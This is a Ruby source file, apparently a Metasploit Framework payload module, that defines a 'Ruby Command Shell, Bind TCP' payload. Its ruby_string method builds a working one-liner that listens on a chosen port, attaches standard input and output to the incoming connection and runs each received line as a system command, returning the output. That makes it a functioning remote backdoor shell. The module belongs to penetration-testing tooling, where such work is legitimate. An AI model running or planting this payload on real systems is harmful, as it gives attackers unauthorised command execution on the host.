43 lines
1.3 KiB
Ruby
43 lines
1.3 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/payload/ruby'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Ruby
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Ruby Command Shell, Bind TCP',
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'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
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'Author' => [ 'kris katterjohn', 'hdm' ],
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'License' => MSF_LICENSE,
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'Platform' => 'ruby',
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'Arch' => ARCH_RUBY,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'ruby',
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'Payload' => { 'Offsets' => {}, 'Payload' => '' }
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))
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end
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def generate
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return prepends(ruby_string)
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end
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def ruby_string
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"require 'socket';s=TCPServer.new(#{datastore['LPORT'].to_i});c=s.accept;s.close;"+
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"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
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"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
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end
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end
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